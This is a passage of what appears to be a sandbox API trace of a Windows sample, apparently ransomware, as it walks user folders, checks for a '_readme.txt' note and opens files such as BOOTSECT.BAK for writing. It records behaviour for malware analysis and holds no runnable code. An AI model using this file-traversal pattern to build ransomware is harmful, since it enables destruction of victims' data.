ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSN Money.url", cAlternateFileName="MSNMON~1.URL")) returned 1 [0059.444] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSN Sports.url", cAlternateFileName="MSNSPO~1.URL")) returned 1 [0059.444] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSN.url", cAlternateFileName="")) returned 1 [0059.444] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSNBC News.url", cAlternateFileName="MSNBCN~1.URL")) returned 1 [0059.445] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSNBC News.url", cAlternateFileName="MSNBCN~1.URL")) returned 0 [0059.445] FindClose (in: hFindFile=0x3038588 | out: hFindFile=0x3038588) returned 1 [0059.445] PeekMessageW (in: lpMsg=0x9aafb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aafb74) returned 0 [0059.445] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\") returned="Windows Live\\" [0059.445] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\") returned="Favorites\\" [0059.445] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0059.445] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0059.446] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0059.446] PathFindFileNameW (pszPath="") returned="" [0059.446] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\*", lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d71a60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3038588 [0059.447] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d71a60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0059.447] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d8930c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Get Windows Live.url", cAlternateFileName="GETWIN~1.URL")) returned 1 [0059.447] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d8930c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows Live Gallery.url", cAlternateFileName="WINDOW~2.URL")) returned 1 [0059.447] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d8930c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows Live Mail.url", cAlternateFileName="WINDOW~1.URL")) returned 1 [0059.447] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d8930c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows Live Spaces.url", cAlternateFileName="WINDOW~3.URL")) returned 1 [0059.447] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d8930c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows Live Spaces.url", cAlternateFileName="WINDOW~3.URL")) returned 0 [0059.447] FindClose (in: hFindFile=0x3038588 | out: hFindFile=0x3038588) returned 1 [0059.448] PeekMessageW (in: lpMsg=0x9aafb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aafb74) returned 0 [0059.448] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bAXbPKiwKvGBE_6IlyS\\") returned="bAXbPKiwKvGBE_6IlyS\\" [0059.448] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\") returned="Music\\" [0059.448] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0059.448] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0059.448] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0059.448] PathFindFileNameW (pszPath="") returned="" [0059.448] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bAXbPKiwKvGBE_6IlyS\\*", lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x317333d0, ftCreationTime.dwHighDateTime=0x1d4d033, ftLastAccessTime.dwLowDateTime=0x3a397480, ftLastAccessTime.dwHighDateTime=0x1d4d244, ftLastWriteTime.dwLowDateTime=0x3a397480, ftLastWriteTime.dwHighDateTime=0x1d4d244, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3038588 [0059.449] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x317333d0, ftCreationTime.dwHighDateTime=0x1d4d033, ftLastAccessTime.dwLowDateTime=0x3a397480, ftLastAccessTime.dwHighDateTime=0x1d4d244, ftLastWriteTime.dwLowDateTime=0x3a397480, ftLastWriteTime.dwHighDateTime=0x1d4d244, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0059.449] FindClose (in: hFindFile=0x3038588 | out: hFindFile=0x3038588) returned 1 [0059.449] PeekMessageW (in: lpMsg=0x9aafb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aafb74) returned 0 [0059.449] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\1oLW\\") returned="1oLW\\" [0059.449] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\") returned="Pictures\\" [0059.449] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0059.449] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0059.449] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0059.449] PathFindFileNameW (pszPath="") returned="" [0059.449] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\1oLW\\*", lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x944a3f40, ftCreationTime.dwHighDateTime=0x1d4c9e3, ftLastAccessTime.dwLowDateTime=0x66099ba0, ftLastAccessTime.dwHighDateTime=0x1d4caa4, ftLastWriteTime.dwLowDateTime=0x66099ba0, ftLastWriteTime.dwHighDateTime=0x1d4caa4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3038588 [0059.450] FindClose (in: hFindFile=0x3038588 | out: hFindFile=0x3038588) returned 1 [0059.450] PeekMessageW (in: lpMsg=0x9aafb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aafb74) returned 0 [0059.450] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\vcVOmt\\") returned="vcVOmt\\" [0059.450] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\") returned="Videos\\" [0059.450] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0059.450] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0059.450] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0059.450] PathFindFileNameW (pszPath="") returned="" [0059.450] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\vcVOmt\\*", lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x16d0a240, ftCreationTime.dwHighDateTime=0x1d4ccac, ftLastAccessTime.dwLowDateTime=0x514adce0, ftLastAccessTime.dwHighDateTime=0x1d4cf24, ftLastWriteTime.dwLowDateTime=0x514adce0, ftLastWriteTime.dwHighDateTime=0x1d4cf24, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3038588 [0059.450] FindClose (in: hFindFile=0x3038588 | out: hFindFile=0x3038588) returned 1 [0059.450] PeekMessageW (in: lpMsg=0x9aafb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aafb74) returned 0 [0059.450] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0059.450] PathFindFileNameW (pszPath="") returned="" [0059.450] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75fd0000 [0059.451] GetProcAddress (hModule=0x75fd0000, lpProcName="SHGetFolderPathW") returned 0x76055708 [0059.451] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x306a418 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0059.451] FreeLibrary (hLibModule=0x75fd0000) returned 1 [0059.451] PathAppendW (in: pszPath="C:\\", pMore="_readme.txt" | out: pszPath="C:\\_readme.txt") returned 1 [0059.451] PathFileExistsW (pszPath="C:\\_readme.txt") returned 1 [0059.451] FindFirstFileW (in: lpFileName="C:\\*", lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="$Recycle.Bin", cAlternateFileName="")) returned 0x3038588 [0059.452] PathFindExtensionW (pszPath="C:\\bootmgr") returned="" [0059.452] PathFindExtensionW (pszPath="C:\\BOOTSECT.BAK") returned=".BAK" [0059.452] CreateFileW (lpFileName="C:\\BOOTSECT.BAK" (normalized: "c:\\bootsect.bak"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0059.454] PathFindExtensionW (pszPath="C:\\hiberfil.sys") returned=".sys" [0059.454] PathFindExtensionW (pszPath="C:\\pagefile.sys") returned=".sys" [0059.454] PathFindExtensionW (pszPath="C:\\_readme.txt") returned=".txt" [0059.454] FindClose (in: hFindFile=0x3038588 | out: hFindFile=0x3038588) returned 1 [0059.455] PeekMessageW (in: lpMsg=0x9aafb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aafb74) returned 0 [0059.455] PeekMessageW (in: lpMsg=0x9aaff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aaff08) returned 0 [0059.455] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5518 [0059.455] PeekMessageW (in: lpMsg=0x9aafb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aafb74) returned 0 [0059.455] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5888 [0059.455] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.455] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.455] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5888 | out: hHeap=0x670000) returned 1 [0059.455] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5888 [0059.455] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.455] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.455] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5888 | out: hHeap=0x670000) returned 1 [0059.455] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5888 [0059.455] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.455] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.455] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5888 | out: hHeap=0x670000) returned 1 [0059.455] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5888 [0059.455] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.455] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.455] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5888 | out: hHeap=0x670000) returned 1 [0059.455] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5888 [0059.455] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.455] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.455] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5888 | out: hHeap=0x670000) returned 1 [0059.455] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5888 [0059.455] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8230 [0059.455] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.455] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5888 | out: hHeap=0x670000) returned 1 [0059.456] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5888 [0059.456] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.456] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc2e) returned 0x3068dd8 [0059.456] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.456] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.456] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5888 | out: hHeap=0x670000) returned 1 [0059.456] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5888 [0059.456] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.456] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.456] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5888 | out: hHeap=0x670000) returned 1 [0059.456] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5888 [0059.456] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8230 [0059.456] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.456] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5888 | out: hHeap=0x670000) returned 1 [0059.456] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5888 [0059.456] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0059.456] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.456] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5888 | out: hHeap=0x670000) returned 1 [0059.456] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5888 [0059.456] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0059.456] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.456] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5888 | out: hHeap=0x670000) returned 1 [0059.456] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5888 [0059.456] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.456] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.456] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5888 | out: hHeap=0x670000) returned 1 [0059.456] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5888 [0059.456] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.456] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.456] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5888 | out: hHeap=0x670000) returned 1 [0059.457] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5888 [0059.457] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8230 [0059.457] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.457] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5888 | out: hHeap=0x670000) returned 1 [0059.457] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5888 [0059.457] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8230 [0059.457] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.457] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5888 | out: hHeap=0x670000) returned 1 [0059.457] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5888 [0059.457] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.457] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.457] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5888 | out: hHeap=0x670000) returned 1 [0059.457] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5888 [0059.457] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.457] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.457] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5888 | out: hHeap=0x670000) returned 1 [0059.457] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5888 [0059.457] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.457] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.457] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5888 | out: hHeap=0x670000) returned 1 [0059.457] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5888 [0059.457] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.457] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.457] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5888 | out: hHeap=0x670000) returned 1 [0059.457] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5888 [0059.457] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.457] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.457] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5888 | out: hHeap=0x670000) returned 1 [0059.457] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5888 [0059.457] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.457] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.458] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5888 | out: hHeap=0x670000) returned 1 [0059.458] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5888 [0059.458] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.458] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.458] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5888 | out: hHeap=0x670000) returned 1 [0059.458] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5888 [0059.458] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.458] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0059.458] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.458] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.458] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5888 | out: hHeap=0x670000) returned 1 [0059.458] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5888 [0059.458] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.458] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.458] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5888 | out: hHeap=0x670000) returned 1 [0059.458] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5888 [0059.458] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.458] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc2e) returned 0x3068dd8 [0059.458] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.458] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.458] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5888 | out: hHeap=0x670000) returned 1 [0059.458] RtlAllocateHeap (HeapHandle=0x670000, 